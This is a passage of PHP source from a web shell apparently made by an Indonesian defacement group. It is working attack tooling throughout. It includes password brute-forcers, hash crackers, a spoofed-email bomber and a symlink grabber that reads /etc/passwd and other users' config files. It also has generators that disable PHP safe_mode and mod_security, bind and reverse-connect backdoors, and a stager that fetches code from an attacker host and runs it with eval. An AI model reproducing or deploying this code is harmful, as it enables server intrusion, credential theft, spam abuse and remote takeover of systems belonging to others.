- <tr><td colspan='2'><form method='post' name='bypasser'>[Existing] Database to store temporary table: <input type='text' style='color:#FF0000;background-color:#000000' value='tmp_database' name='sql_db'></br>Temporary table: <input type='text' style='color:#FF0000;background-color:#000000' value='tmp_file' name='tmp_table'></br><input type='text' style='color:#FF0000;background-color:#000000' value='/etc/passwd' name='sql_file'><input type='submit' name='sql_bypass' style='color:#FF0000;background-color:#000000' value='Bypass'></form></td></tr>
- </table>";
- ?>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'crack')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=crack" method="post">
- <form method='post' enctype='multipart/form-data'>
- <input type='hidden' name='docrack'>
- <table style='margin: auto; width: 100%; text-align: center;'><tr><td colspan='2'><img src="http://img59.imageshack.us/img59/9402/headerpicsay.jpg"></td></tr>
- <tr><td>MD5 Cracker</td><td>SHA1 Cracker</td></tr>
- <tr>
- <td>Hash: <input type='text' style='color:#FF0000;background-color:#000000' name='md5hash'><input type='submit' style='color:#FF0000;background-color:#000000' value='Crack' name='md5crack'></td>
- <td>Hash: <input type='text' style='color:#FF0000;background-color:#000000' name='sha1hash'><input type='submit' style='color:#FF0000;background-color:#000000' value='Crack' name='sha1crack'></td></tr>
- <tr><td>VBulletin Salt Cracker</td><td>SMF Salt cracker</td></tr>
- <tr><td>Hash: <input type='text' style='color:#FF0000;background-color:#000000' name='vbhash'></br>Salt: <input type='text' style='color:#FF0000;background-color:#000000' name='vbsalt' salt='#7A'></br><input type='submit' style='color:#FF0000;background-color:#000000' value='Crack' name='vbcrack'></td><td>Hash: <input type='text' style='color:#FF0000;background-color:#000000' name='smfhash'></br>Salt: <input type='text' style='color:#FF0000;background-color:#000000' name='smfsalt'></br><input type='submit' style='color:#FF0000;background-color:#000000' value='Crack' name='smfcrack'></td></tr>
- <tr><td>MySQL Brute Force</td><td>FTP Brute Force</td></tr>
- <tr><td>User: <input type='text' style='color:#FF0000;background-color:#000000' value='root' name='mysql_user'></br>Host: <input type='text' value='localhost' style='color:#FF0000;background-color:#000000' name='mysql_host'></br>Port: <input type='text' style='color:#FF0000;background-color:#000000' value='3306' name='mysql_port'></br><input style='color:#FF0000;background-color:#000000' type='submit' value='Brute' name='mysqlcrack'></td>
- <td>User: <input type='text' style='color:#FF0000;background-color:#000000' value='root' name='ftp_user'></br>Host: <input type='text' value='localhost' style='color:#FF0000;background-color:#000000' name='ftp_host'></br>Port: <input type='text' style='color:#FF0000;background-color:#000000' value='21' name='ftp_port'></br>Timeout: <input type='text' style='color:#FF0000;background-color:#000000' value='5' name='ftp_timeout'></br><input type='submit' style='color:#FF0000;background-color:#000000' value='Brute' name='ftpcrack'></td></tr>
- <tr><td>Remote login Brute Force</td><td>HTTP-Auth Brute Force</td></tr>
- <tr><td>Login form: <input type='text' style='color:#FF0000;background-color:#000000' value='' name='remote_login_target'></br>Username: <input type='text'style='color:#FF0000;background-color:#000000' value='admin' name='remote_login_user'><input type='submit' style='color:#FF0000;background-color:#000000' value='Brute' name='remote_login'></td>
- <td>Username: <input type='text' style='color:#FF0000;background-color:#000000' name='auth_user' value='porn_user101'></br>Auth URL: <input type='text' style='color:#FF0000;background-color:#000000' name='auth_url'><input type='submit' style='color:#FF0000;background-color:#000000' value='Brute' name='authcrack'></td></tr>
- <tr><td colspan='2'>Wordlist</td></tr>
- <tr><td colspan='2'><input type='file' style='color:#FF0000;background-color:#000000' name='wordlist'></br></br></td></tr>
- </br></table></form>
- <?php
- if(isset($_POST['docrack']))
- {
- $con=true;
- $show=0;
- $list=@fopen($_FILES['wordlist']['tmp_name'],'r');
- if(is_resource($list))
- {
- if(isset($_POST['ftpcrack']))
- {
- echo "Bruting $_POST[ftp_user]@$_POST[ftp_host]...</br>";
- if(!empty($_POST['ftp_port'])) $port=$_POST['ftp_port'];
- else $port='3306';
- if(empty($_POST['ftp_timeout'])||!preg_match("/^[0-9]$/",$_POST['ftp_timeout']))
- $time=3;
- else $time=$_POST['ftp_timeout'];
- @$ftp=ftp_connect($_POST['ftp_host'],$port,$time);
- if(!$ftp) $con=false;
- if($con)
- {
- $show++;
- while(!feof($list))
- {
- @$pass=fgets($list);
- if(ftp_login($ftp,$_POST['ftp_user'],trim($pass)))
- {
- echo "Password found! Password for $_POST[ftp_user] is $pass<br>";
- @ftp_close($ftp);
- break;
- }
- if($show==10000){echo "Trying pass $pass...</br>"; $show=0;}
- }
- } else echo "Failed to connect!</br>";
- }
- elseif(isset($_POST['remote_login']))
- {
- //if(!function_exists("jitghjytiojho")) die("cURL support has to be enabled.");
- /*
- $ch=curl_init($_POST['remote_login_target']);
- curl_setopt($ch,CURLOPT_HEADER,0);
- curl_setopt($ch,CURLOPT_POST,1);
- curl_setopt($ch,CURLOPT_POSTFIELDS,'');
- curl_exec($ch);
- */
- if(preg_match("/^http:\/\/+/",$_POST['remote_login_target'])) die("Do not include http:// in the target URL.");
- $path=explode('/',$_POST['remote_login_target']);
- $site=$path[0];
- for($i=1;$i<count($path);$i++) $full_path.='/'.$path[$i];
- }
- elseif(isset($_POST['vbcrack']))
- {
- if(empty($_POST['vbhash']) OR empty($_POST['vbsalt'])) die("Please specify a hash and salt");
- while(!feof($list))
- {
- $show++;
- $pass=trim(fgets($list));
- $vbenc=md5(md5($pass).$_POST['vbsalt']);
- if($vbenc===$_POST['vbhash'])
- {
- echo "Password for $_POST[vbhash] found! is $pass</br>";
- break;
- }
- if($show===10000)
- {
- $show=0;
- echo "Trying pass $pass...</br>";
- }
- }
- echo "Complete</br>";
- }
- elseif(isset($_POST['mysqlcrack']))
- {
- $host=$_POST['mysql_host'];
- $user=$_POST['mysql_user'];
- if(!empty($_POST['mysql_port'])) $host.=":$_POST[mysql_port]";
- while(!feof($list))
- {
- $show++;
- $pass=trim(fgets($list));
- if(@mysql_connect($host,$user,$pass))
- {
- echo "Password found! Password for $user is $pass</br>";
- break;
- }
- if($show==10000)
- {
- echo "Trying $pass...</br>";
- $show=0;
- continue;
- }
- }
- }
- elseif(isset($_POST['authcrack']))
- {
- $arr=explode('/',$_POST['auth_url']);
- $con_url=$arr[0];
- if(empty($_POST['auth_url'])) die("Enter a target first...");
- for($i=1;$i<count($arr);$i++) $path.='/'.$arr[$i];
- if(preg_match("/^http:\/\/+/",$_POST['auth_url'])) die("Do not include http:// in the url");
- while(!feof($list))
- {
- if(is_resource($conn_url=fsockopen($con_url,80,$errno,$errstr,5)))
- {
- $show++;
- $pass=trim(fgets($list));
- if($show>5000) {$show=0; echo $pass;}
- $encode=base64_encode(trim($_POST['auth_user']).':'.$pass);
- $header="GET $path HTTP/1.1\r\n";
- $header.="Host: $con_url\r\n";
- $header.="Authorization: Basic $encode\r\n";
- $header.="Connection: Close\r\n\r\n";
- fputs($conn_url,$header,strlen($header));
- $tmp++;
- while(!feof($conn_url))
- {
- $tmp=fgets($conn_url);
- if(preg_match("/HTTP\/\d+\.\d+ 200+/",$tmp))
- {
- echo "Password found! Password=$pass</br></br>";
- break 2;
- }
- }
- }
- }
- echo "Done</br>";
- }
- elseif(isset($_POST['md5crack']))
- {
- if(empty($_POST['md5hash'])) die("Enter a hash before attempting to crack one ;)");
- $md5=trim($_POST['md5hash']);
- while(!feof($list))
- {
- $show++;
- $pass=trim(fgets($list));
- if(md5($pass)===$md5)
- {
- echo "Password found! Plaintext for $md5 is $pass</br>";
- break;
- }
- if($show==10000)
- {
- echo "Trying $pass...</br>";
- $show=0;
- continue;
- }
- }
- }
- elseif(isset($_POST['sha1crack']))
- {
- if(empty($_POST['sha1hash'])) die("Enter a hash before attempting to crack one ;)");
- $sha1=trim($_POST['sha1hash']);
- while(!feof($list))
- {
- $show++;
- $pass=trim(fgets($list));
- if(sha1($pass)===$sha1)
- {
- echo "Password found! Plaintext for $sha1 is $pass</br>";
- break;
- }
- if($show==10000)
- {
- echo "Trying $pass...</br>";
- $show=0;
- continue;
- }
- }
- }
- }
- @fclose($list);
- }
- ?>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'sscan')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=sscan" method="post">
- <center><br /><br />
- <table><form method='POST'>
- <tr><td>URL TARGET : <input size=40 style='color:#FF0000;background-color:#000000' name='rem_web' value='http://'></td></tr>
- <tr><td><font color=red>INPUT NAMA FILE / SHELL</font></tr></td>
- <tr><td><textarea spellcheck='false' class='textarea_edit' style='color:#FF0000;background-color:#000000' cols=50 rows=30 name='tryzzz'>
- WSO.php
- dz.php
- cpanelcracker.php
- blackshadow.php
- sym.php
- ftpcracker.php
- cpanel.php
- cpn.php
- sql.php
- mysql.php
- madspot.php
- itsecteam_shell.php
- b374k.php
- madsopot.php
- indishell.php
- Cgishell.pl
- killer.php
- changeall.php
- 2.php
- Sh3ll.php
- dz0.php
- dam.php
- user.php
- dom.php
- whmcs.php
- r00t.php
- c99.php
- gaza.php
- q.php
- 1.php
- d0mains.php
- madspotshell.php
- Sym.php
- c22.php
- c100.php
- Cpanel.php
- zone-h.php
- cp.php
- L3b.php
- d.php
- admin1.php
- upload.php
- up.php
- uploads.php
- sa.php
- r57.php
- shell.php
- sa.php
- </textarea></td></tr>
- <tr><td><br /><input type='submit' style='color:#FF0000;background-color:#000000' value=' >> SCAN >> ' class='input_big' /><br /><br /></td></tr></form></table><br /><br /><hr /><br /><br />
- <?php
- set_time_limit(0);
- $rtr=array();
- echo "<div id=result><center><table>";
- $webz=$_POST['rem_web'];
- $uri_in=$_POST['tryzzz'];
- $r_xuri = trim($uri_in);
- $r_xuri=explode("\n", $r_xuri);
- foreach($r_xuri as $rty)
- {
- $urlzzx=$webz.$rty;
- if(function_exists('curl_init'))
- {
- echo "<tr><td style='text-align:left'><font color=orange>Checking : </font> <font color=7171C6> $urlzzx </font></td>";
- $ch = curl_init($urlzzx);
- curl_setopt($ch, CURLOPT_NOBODY, true);
- curl_exec($ch);
- $status_code=curl_getinfo($ch, CURLINFO_HTTP_CODE);
- curl_close($ch);
- if($status_code==200)
- {
- echo "<td style='text-align:left'><font color=green> Found....</font></td></tr>";
- } else {
- echo "<td style='text-align:left'><font color=red>Not Found...</font></td></tr>";
- }
- } else {
- echo "<font color=red>cURL Not Found </font>";
- } }
- echo "</table><br /><br /><hr /><br /><br /></div>";
- ?>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'email')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=email" method="post">
- <html>
- <head><title>./DM TE4M</title>
- </head>
- <center><body bgcolor="black">
- <a href="http://www.facebook.com/groups/D.MASTERPIECE"><img src="http://img59.imageshack.us/img59/9402/headerpicsay.jpg" border="0" width="200" height="50"></a><br><br>
- <span style="color:white"> --=|[+] BOMB FAKE EMAIL [+]|=--<br/></center>
- <span style="color:#00FF00"><hr></span>
- <form method=post>
- <input type=hidden value=dm name=dm>
- <center><span style="color:#00FF00">-:[ X-EMAIL ]:-</span><br/>
- <span style="color:white">**Isi Dengan Nama Email Palsu**<br/>
- <input name=wew value="<?echo $wew; ?>"></center>
- <br/>
- <center><span style="color:#00FF00">-:[ EMAIL TUJUAN ]:-</span><br/>
- <span style="color:white">**Isi Email Target Bomb Email**</span><br/>
- <input name=wow value="<?echo $wow; ?>"></center>
- <br/>
- <center><span style="color:#00FF00">-:[ SUBJECT ]:-</span> <br/>
- <span style="color:white">**Isi Nama Judul Pesan**</span><br/>
- <input name=anu value="<?echo $anu; ?>"></center>
- <br/>
- <center><span style="color:#00FF00">-:[ JUMLAH KIRIM ]:-</span><br/>
- <span style="color:white">**Isi Nominal Antara 0 s/d 100**</span><br/>
- <input name=sodok value="<?echo $sodok; ?>"></center>
- <br/>
- <center><span style="color:#00FF00">-:PESAN ]:-</span><br/>
- <span style="color:white">**Tulis Pesan Kamu**</span><br/>
- <textarea width="200" height="100" name=deathnote><?echo $deathnote?></textarea><br/>
- <p>
- <input type=submit value=./CROTZ></center></form>
- <span style="color:#00FF00"><hr></span>
- <span style="color:yellow">
- <?php
- //DMASTERPIECE TE4M Introduction
- $dm = $_POST['dm'];
- //Fungsi Pengirim Email
- $wew = $_POST['wew'];
- //Fungsi Penerima Email
- $wow = $_POST['wow'];
- //Fungsi Jumlah Pesan Yg Akan Di Kirim
- $sodok = $_POST['sodok'];
- //Fungsi Subject Atau Judul
- $anu = $_POST['anu'];
- //Fungsi Isi Pesan
- $deathnote = $_POST['deathnote'];
- if ($dm=="dm" ) {
- for ($i=0;$i <$sodok;$i++) {
- $a= $wew;
- $janda = $anu.$i;
- mail( $wow,$janda,$deathnote.str_repeat(" ", 0*$xdm),"From: $a <$a>\r\n" );
- } echo (" <center>* SUKSES :D | HAJAR LAGI BOS :P *</center>");
- }
- //WE ARE DMASTERPIECE
- //WE ARE LEGION
- //WE ARE FAMILY
- //WE DO NOT FORGIVE
- //WE DO NOT FORGET
- //EXPECT US
- //Created By Andri <~> Sh4d0w4rT
- exit;
- ?>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'config')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=config" method="post">
- <?php
- $head = '
- <html>
- <head>
- </script>
- <title>./X-RooT</title>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
- <script language=\'javascript\'>
- function hide_div(id)
- {
- document.getElementById(id).style.display = \'none\';
- document.cookie=id+\'=0;\';
- }
- function show_div(id)
- {
- document.getElementById(id).style.display = \'block\';
- document.cookie=id+\'=1;\';
- }
- function change_divst(id)
- {
- if (document.getElementById(id).style.display == \'none\')
- show_div(id);
- else
- hide_div(id);
- }
- </script>'; ?>
- <html>
- <head>
- <?php
- echo $head ;
- echo '
- <table width="100%" cellspacing="0" cellpadding="0" class="tb1" >
- <td width="100%" align=center valign="top" rowspan="1">
- <font color=red style=color:#FF0000;background-color:#000000 size=5 face="comic sans ms"><b>--==[[</font><font color=red size=5 face="comic sans ms"><b>D</font><font color=white size=5 face="comic sans ms"><b>M</font><font color=white size=5 face="comic sans ms"><b>]]==--</font> <div class="hedr">
- </table>';
- ?>
- <body bgcolor=black><h3 style="text-align:center"><font color=red size=2 face="comic sans ms"><div align=center><table><tr><td><img src="http://t1.gstatic.com/images?q=tbn:ANd9GcS2aT9oFp8Ysph9AvXGwsXxE4oppDKmPy7dNDTfjYtzMVURWpCOVsfAzyY1"></td></tr></table><br>
- <center><font color=red size=4 face="comic sans ms"><b>ANONYMOUS</font><font color=white size=4 face="comic sans ms"><b> INDONESIA</font><br>
- <hr>
- <form method=post><font color=white size=3 face="comic sans ms">Generate php.ini Untuk Bypass </font><p>
- <input type=submit style=color:#FF0000;background-color:#000000 name=ini value="C-RooT PHP.ini" /></form>
- <form method=post><font color=white size=3 face="comic sans ms">Dapatkan Folder Root & Config</font><p>
- <input type=submit style=color:#FF0000;background-color:#000000 name="usre" value="C-RooT Config" /></form><br>
- <hr>
- <?php
- if(isset($_POST['ini']))
- {
- $r=fopen('php.ini','w');
- $rr=" disable_functions = none
- safe_mode = off";
- fwrite($r,$rr);
- $link="<a href=php.ini><font color=white size=2 style=color:#FF0000;background-color:#000000 face=\"comic sans ms\"><u>--=[ X-Php.ini ]=--</u></font></a>";
- echo $link;
- }
- ?>
- <?php
- if(isset($_POST['usre'])){
- ?>
- <form method=post>
- <textarea rows=5 style=color:#FF0000;background-color:#000000 cols=20 name=user><?php $users=file("/etc/passwd");
- foreach($users as $user)
- {
- $str=explode(":",$user);
- echo $str[0]."\n";
- }
- ?></textarea><br><br>
- <input type=submit style=color:#FF0000;background-color:#000000 name=su value="C-Root etc/passwd" /></form><br/>
- <?php } ?>
- <?php
- error_reporting(0);
- echo "<font color=white size=2 face=\"comic sans ms\">";
- if(isset($_POST['su']))
- {
- mkdir('dm',0777);
- $rr = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
- $g = fopen('dm/.htaccess','w');
- fwrite($g,$rr);
- $dm = symlink("/","dm/root");
- $rt="<a href=dm/root><font color=red size=3 style=color:#FF0000;background-color:#000000 face=\"comic sans ms\">--=[[ X-RooT ]]=--</font></a>";
- echo "List Folder Root<br><u>$rt</u>";
- $dir=mkdir('DM',0777);
- $r = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
- $f = fopen('DM/.htaccess','w');
- fwrite($f,$r);
- $consym="<a href=DM/><font color=red style=color:#FF0000;background-color:#000000 size=3 face=\"comic sans ms\">--=[[ X-Config ]]=--</font></a>";
- echo "<br> List Folder Config <br><u><font color=red size=2 face=\"comic sans ms\">$consym</font></u>";
- $usr=explode("\n",$_POST['user']);
- $configuration=array("symlink.php","symv3.php","c99.php","shell.php","cpanel.php","r57.php","mysql.php","404.php","priv8.php","b374k.php","B374k.php","whm.php","include/config.php","include/koneksi.php","include/mysql.php","include/database.php","include/db.php","db.php","crotz.php","indo.php","g3tar.php","dhanush.php","B-F.php","crot.php","c100.php","config/database.php","config/db.php","config/koneksi.php","database.php","confkiller.php","whmcs.php","admin/include/koneksi.php","wp-config.php","wp/wp-config.php","wordpress/wp-config.php","configuration.php","blog/wp-config.php","anu.php","include/db.php","include/koneksi.php","joomla/configuration.php","vb/includes/config.php","includes/config.php","conf_global.php","inc/config.php","config.php","Settings.php","sites/default/settings.php","aksi.php","whm/configuration.php","whmcs/configuration.php","support/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","support/configuration.php","clients/configuration.php","client/configuration.php","secure/configuration.php","trial/configuration.php","clientsupport/configuration.php","billing/configuration.php","admin/config.php");
- foreach($usr as $uss )
- {
- $us=trim($uss);
- foreach($configuration as $c)
- {
- $rs="/home/".$us."/public_html/".$c;
- $r="DM/".$us."~".$c;
- symlink($rs,$r);
- }
- }
- }
- ?>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'unzip')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=unzip" method="post">
- <?php
- $file = $_POST['file'];
- if (isset($file))
- {
- echo "<b>[+] PROSES BONGKAR [+]</b><br><br>";
- system('unzip -o ' . $file);
- exit;
- }
- $handler = opendir(".");
- echo "<br><br><b>Pilih File Yg Mau Di Unzip :<b><br> " . "<br>";
- echo '<form action="" method="get">';
- $found = false;
- while ($file = readdir($handler))
- {
- if (preg_match ("/.zip$/i", $file))
- {
- echo '<input type="radio" name="file" value=' . $file . '> ' . $file . '<br>';
- $found = true;
- }
- }
- closedir($handler);
- if ($found == false)
- echo "<br><br><b>[+] GA ADA FILE EXTENSI ZIP [+]<b><br>";
- else
- echo '<br><br><INPUT type="submit" value="HAJAR BRAY :v">';
- echo "</form>";
- ?>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'cehash')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=cehash" method="post">
- <br><br><center><form method=POST>
- <input type="text" style="color:#FF0000;background-color:#000000" name="hashToAnalyze" size=60><input type="submit" style="color:#FF0000;background-color:#000000" value="Analyze Now" name="analyzieNow"></form></center>
- <?php
- if($_POST['analyzieNow'])
- {
- $hash = $_POST['hashToAnalyze'];
- $subHash = substr($hash,0,3);
- if($subHash =='$ap' && strlen($hash) == 37)
- {
- echo "The Hash : ".$hash." is : MD5(APR) Hash";
- }
- else if($subHash =='$1$' && strlen($hash) == 34)
- {
- echo "The Hash : ".$hash." is : MD5(UNIX) Hash";
- }
- else if($subHash =='$H$' && strlen($hash) == 35)
- {
- echo "The Hash : ".$hash." is : MD5(phpBB3) Hash";
- }
- else if(strlen($hash) == 29)
- {
- echo "The Hash : ".$hash." is : MD5(Wordpress) Hash";
- }
- else if($subHash =='$5$' && strlen($hash) == 64)
- {
- echo "The Hash : ".$hash." is : SHA256(UNIX) Hash";
- }
- else if($subHash =='$6$' && strlen($hash) == 128)
- {
- echo "The Hash : ".$hash." is : SHA512(UNIX) Hash";
- }
- else if(strlen($hash) == 56)
- {
- echo "The Hash : ".$hash." is : SHA224 Hash";
- }
- else if(strlen($hash) == 64)
- {
- echo "The Hash : ".$hash." is : SHA256 Hash";
- }
- else if(strlen($hash) == 96)
- {
- echo "The Hash : ".$hash." is : SHA384 Hash";
- }
- else if(strlen($hash) == 128)
- {
- echo "The Hash : ".$hash." is : SHA512 Hash";
- }
- else if(strlen($hash) == 40)
- {
- echo "The Hash : ".$hash." is : MySQL v5.x Hash";
- }
- else if(strlen($hash) == 16)
- {
- echo "The Hash : ".$hash." is : MySQL Hash";
- }
- else if(strlen($hash) == 13)
- {
- echo "The Hash : ".$hash." is : DES(Unix) Hash";
- }
- else if(strlen($hash) == 32)
- {
- echo "The Hash : ".$hash." is : MD5 Hash";
- }
- else if(strlen($hash) == 4)
- {
- echo "The Hash : ".$hash." is : [CRC-16]-[CRC-16-CCITT]-[FCS-16]";}
- else
- {
- echo "Error : Can't Detect Hash Type";
- }
- }
- ?>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'bind')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=bind" method="post">
- <?php
- if($_POST['bind'])
- {
- if (!empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C'))
- {
- $port = trim($_POST['port']);
- $passwrd = trim($_POST['bind_pass']);
- tulis("bdc.c",$port_bind_bd_c);
- Exe('gcc -o bdc bdc.c');
- Exe('chmod 777 bdc');
- @unlink("bdc.c");
- Exe("./bdc ".$port." ".$passwrd." &");
- $scan = Exe("ps aux");
- if(eregi("./bdc $por",$scan))
- {
- $msg = "Process found running, backdoor setup successfully.";
- }
- else
- {
- $msg = "Process not found running, backdoor not setup successfully.";
- }
- }
- elseif (!empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl'))
- {
- $port = trim($_POST['port']);
- $passwrd = trim($_POST['bind_pass']);
- tulis("bdp",$port_bind_bd_pl);
- Exe("chmod 777 bdp");
- $p2=which("perl");
- Exe($p2." bdp ".$port." &");
- $scan = Exe("ps aux");
- if(eregi("$p2 bdp $port",$scan))
- {
- $msg = "Process found running, backdoor setup successfully.";
- }
- else
- {
- $msg = "Process not found running, backdoor not setup successfully.";
- }
- }
- }
- echo "</textarea>";
- echo "<br><br><center><form method=POST><input style='color:#FF0000;background-color:#000000' type='text' name='bind_pass' size='26' value='".gethostbyname($_SERVER["HTTP_HOST"])."'><input type='text' name='port' style='color:#FF0000;background-color:#000000'size='26' value='443'><select style='color:#FF0000;background-color:#000000' name='use'><option value='Perl'>Perl</option><option value='C'>C</option></select> <input class='inputzbut' type='submit' name='bind' value='Bind' style='width:120px'></form></center>";
- ?>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'back')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=back" method="post">
- <?php
- if($_POST['backconn'])
- {
- if (!empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C'))
- {
- $ip = trim($_POST['ip']);
- $port = trim($_POST['backport']);
- tulis("bcc.c",$back_connect_c);
- Exe('gcc -o bcc bcc.c');
- Exe('chmod 777 bcc');
- @unlink('bcc.c');
- Exe("./bcc ".$ip." ".$port." &");
- $msg = "Now script try connect to ".$ip." port ".$port." ...";
- }
- elseif (!empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl'))
- {
- $ip = trim($_POST['ip']);
- $port = trim($_POST['backport']);
- tulis("bcp",$back_connect);
- Exe("chmod +x bcp");
- $p2=which("perl");
- Exe($p2." bcp ".$ip." ".$port." &");
- $msg = "Now script try connect to ".$ip." port ".$port." ...";
- }
- }
- echo "<br><br><center><form method=POST><input type='text' style='color:#FF0000;background-color:#000000' name='ip' size='26' value='".GetRealIP()."'><input type='text' style='color:#FF0000;background-color:#000000' name='backport' size='26' value='443'><select style='color:#FF0000;background-color:#000000' name='use'><option value='Perl'>Perl</option><option value='C'>C</option></select> <input type='submit' style='color:#FF0000;background-color:#000000' name='backconn' value='Connect'></form></center>";
- ?>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'mc')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=mc" method="post">
- <br><br><center><form method=POST><input type='text' size='15' name='ip' style='color:#FF0000;background-color:#000000' value='127.0.0.1'><input type='text' size='5' style='color:#FF0000;background-color:#000000' name='port' value='443'>
- <input type='submit' style='color:#FF0000;background-color:#000000' value='Connect' name='metaConnect'></form></center>
- <?php
- if($_POST['metaConnect'])
- {
- $ip = $_POST['ip'];
- $port = $_POST['port'];
- if ($ip == "" && $port == "")
- {
- echo "Please fill IP Adress & The listen Port";
- }
- else
- {
- $ipaddr = $ip;
- $port = $port;
- if (FALSE !== strpos($ipaddr, ":"))
- {
- $ipaddr = "[". $ipaddr ."]";
- }
- if (is_callable('stream_socket_client'))
- {
- $msgsock = @stream_socket_client("tcp://{$ipaddr}:{$port}");
- if (!$msgsock)
- {
- die();
- }
- $msgsock_type = 'stream';
- }
- elseif (is_callable('fsockopen'))
- {
- $msgsock = fsockopen($ipaddr,$port);
- if (!$msgsock)
- {
- die();
- }
- $msgsock_type = 'stream';
- }
- elseif (is_callable('socket_create'))
- {
- $msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
- $res = socket_connect($msgsock, $ipaddr, $port);
- if (!$res)
- {
- die();
- }
- $msgsock_type = 'socket';
- }
- else
- {
- die();
- }
- switch ($msgsock_type)
- {
- case 'stream': $len = fread($msgsock, 4); break;
- case 'socket': $len = socket_read($msgsock, 4); break;
- }
- if (!$len)
- {
- die();
- }
- $a = unpack("Nlen", $len);
- $len = $a['len'];
- $buffer = '';
- while (strlen($buffer) < $len)
- {
- switch ($msgsock_type)
- {
- case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer));
- break;
- case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));
- break;
- }
- }
- eval($buffer);
- echo "[*] Connection Terminated";
- die();
- }
- }
- ?>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == '403')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=403" method="post">
- <?php
- if($_POST['generateForbidden'])
- {
- @chdir($_POST['forbiddenPath']);
- @mkdir('forbidden');
- @chdir('forbidden');
- $htaccess = fopen('.htaccess','w+');
- if($_POST['403'] == 'DirectoryIndex')
- {
- fwrite($htaccess,"DirectoryIndex in.txt");
- }
- elseif($_POST['403'] == 'HeaderName')
- {
- fwrite($htaccess,"HeaderName in.txt");
- }
- elseif($_POST['403'] == 'TXT')
- {
- fwrite($htaccess,"
- Options Indexes FollowSymLinks
- addType txt .php
- AddHandler txt .php");
- }
- elseif($_POST['403'] == '404')
- {
- fwrite($htaccess,"
- ErrorDocument 404 /404.html
- 404.html = Symlinked in.txt ");
- }
- elseif($_POST['403'] == 'ReadmeName')
- {
- fwrite($htaccess,"ReadmeName in.txt");
- }
- elseif($_POST['403'] == 'footerName')
- {
- fwrite($htaccess,"footerName in.txt");
- }
- echo "
- Now Go To [ forbidden ] Dir And Then make The Shortcut [ in.txt ]
- EX : ln -s /home/user/public_html/config.php in.txt";
- }
- echo "<br><br><center><form method=POST><input type='text' style='color:#FF0000;background-color:#000000' value='".getcwd()."' name='forbiddenPath' size='30%'/><select style='color:#FF0000;background-color:#000000' name='403'><option value='DirectoryIndex'>DirectoryIndex</option><option value='HeaderName'>HeaderName</option><option value='TXT'>TXT</option><option value='404'>404</option><option value='ReadmeName'>ReadmeName</option><option value='footerName'>footerName</option> </select>
- <input type='submit' style='color:#FF0000;background-color:#000000' value='Generate' name='generateForbidden'></form></center>";
- ?>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'calias')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=calias" method="post">
- <?php
- if($_POST['submitCommands'])
- {
- echo Exe($_POST['alias']);
- }
- echo "<br><br><center><form method=POST><table><tr><td height='45' style='color:#FF0000;background-color:#000000' colspan='2'>";SelectCommand($os); echo "<input name='submitCommands' style='color:#FF0000;background-color:#000000' type='submit' value='ExecuteCommand'></td></tr></table></form></center>";
- ?>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'sec2')){ ?>
- <br><br><center><form action="?y=<?php echo $pwd; ?>&x=sec2" method="post">
- <form method=POST><input type=submit style='color:#FF0000;background-color:#000000' value='Generate .HTAccess' name='htaccessGenerate'> <input type=submit style='color:#FF0000;background-color:#000000' value='Generate php.ini' name='phpiniGenerate'> <input style='color:#FF0000;background-color:#000000' type=submit value='Generate ini.php' name='iniphpGenerate'><br/><br/></form></center>
- <?php
- if($_POST['phpiniGenerate'])
- {
- GenerateFile("php.ini","
- safe_mode = Off
- disable_functions = NONE
- safe_mode_gid = OFF
- open_basedir = OFF");
- echo "php.ini Has Been Generated Successfully";
- }
- else if($_POST['htaccessGenerate'])
- {
- GenerateFile(".htaccess","
- <IfModule mod_security.c>
- SecFilterEngine Off
- SecFilterScanPOST Off
- SecFilterCheckURLEncoding Off
- SecFilterCheckCookieFormat Off
- SecFilterCheckUnicodeEncoding Off
- SecFilterNormalizeCookies Off
- </IfModule>
- SetEnv PHPRC ".getcwd()."php.ini
- suPHP_ConfigPath ".getcwd()."php.ini
- ");
- echo ".htaccess Has Been Generated Successfully ";
- }
- else if($_POST['iniphpGenerate'])
- {
- GenerateFile("ini.php","
- ini_restore(\"safe_mode\");
- ini_restore(\"open_basedir\");
- ");
- echo "ini.php Has Been Generated Successfully";
- }
- ?>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'grab')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=grab" method="post">
- <body><center><form method="POST">
